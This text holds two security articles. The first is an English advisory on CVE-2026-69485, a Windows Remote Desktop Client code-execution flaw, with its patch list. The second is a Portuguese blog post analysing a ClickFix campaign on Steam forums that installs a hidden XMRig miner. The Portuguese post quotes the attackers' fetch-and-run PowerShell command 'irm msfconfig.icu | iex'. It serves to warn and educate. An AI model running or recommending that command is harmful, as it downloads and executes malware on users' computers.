Microsoft has released security updates for CVE-2026-69485, an Important-rated remote code execution vulnerability affecting the Windows Remote Desktop Client.
The flaw could allow an authenticated attacker with low privileges to execute code on an affected server by sending a specially crafted network request.
The vulnerability was disclosed on September 8, 2026, and is tracked as CVE-2026-69485. Microsoft assigned it a CVSS 3.1 base score of 8.8, while the temporal score is 7.7.
The issue has a network attack vector, low attack complexity, requires low privileges, and does not need user interaction. Microsoft said the flaw stems from the Remote Desktop Client using an uninitialized resource.
Uninitialized resources can cause software to use memory, handles, or other system objects before they are properly prepared. In this case, an attacker may trigger the faulty condition through a crafted network request and gain the ability to run code.
Windows Remote Desktop Client Vulnerability
Remote code execution flaws are highly significant because they can give attackers control over vulnerable systems. Successful exploitation could affect the targeted device’s confidentiality, integrity, and availability.
Depending on the permissions available to the compromised account, an attacker could access sensitive data, modify files or system settings, install additional tools, or disrupt services.
According to Microsoft’s advisory, exploitation requires an attacker to first authenticate with low-level access to an affected server. The attacker could then send a specially crafted request to execute code on that server.
The attack does not require a user to click a link, open a file, or approve a prompt, reducing opportunities for defenders to stop it through user awareness controls alone.
Microsoft’s initial assessment states that the vulnerability was not publicly disclosed before the security update and has not been detected in active exploitation.
The company rates exploitation as “Exploitation Less Likely” at the time of publication. However, organizations should treat the finding as a priority because public patch releases can help threat actors study the vulnerability and develop working exploit techniques.
The affected products include Windows Server 2016, Windows Server 2019, Windows Server 2022, and Windows Server 2025, including Server Core installations.
Microsoft also listed several Windows client editions, including Windows 10 versions 1607, 1809, 21H2, and 22H2, along with Windows 11 versions 23H2, 24H2, 25H2, and 26H1 for supported x64 and ARM64 systems.
Administrators should deploy Microsoft’s September security updates as soon as possible.
KB Update
Windows Version
KB5123099
Windows Server 2016 / Windows 10 1607
KB5122876
Windows Server 2019 / Windows 10 1809
KB5122882
Windows Server 2022
KB5122878
Windows 10 21H2 / 22H2
KB5122880
Windows 11 23H2
KB5124008
Windows 11 24H2 / 25H2
KB5124012
Windows 11 26H1
KB5122871
Windows Server 2025
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Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.
Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.
ClickFix chega aos fóruns da Steam
Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.
O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.
Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte
Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.
A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.
Entenda rapidamente: o que realmente existe por trás do comando irm | iex
Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:
irm msfconfig.icu | iex
Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.
Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:
irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.
Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.
Um minerador de criptomoedas, não uma ferramenta de otimização
Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.
O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte
Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.
Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.
O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.
Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.
Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.
Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares
Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.
Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?
Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.
Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:
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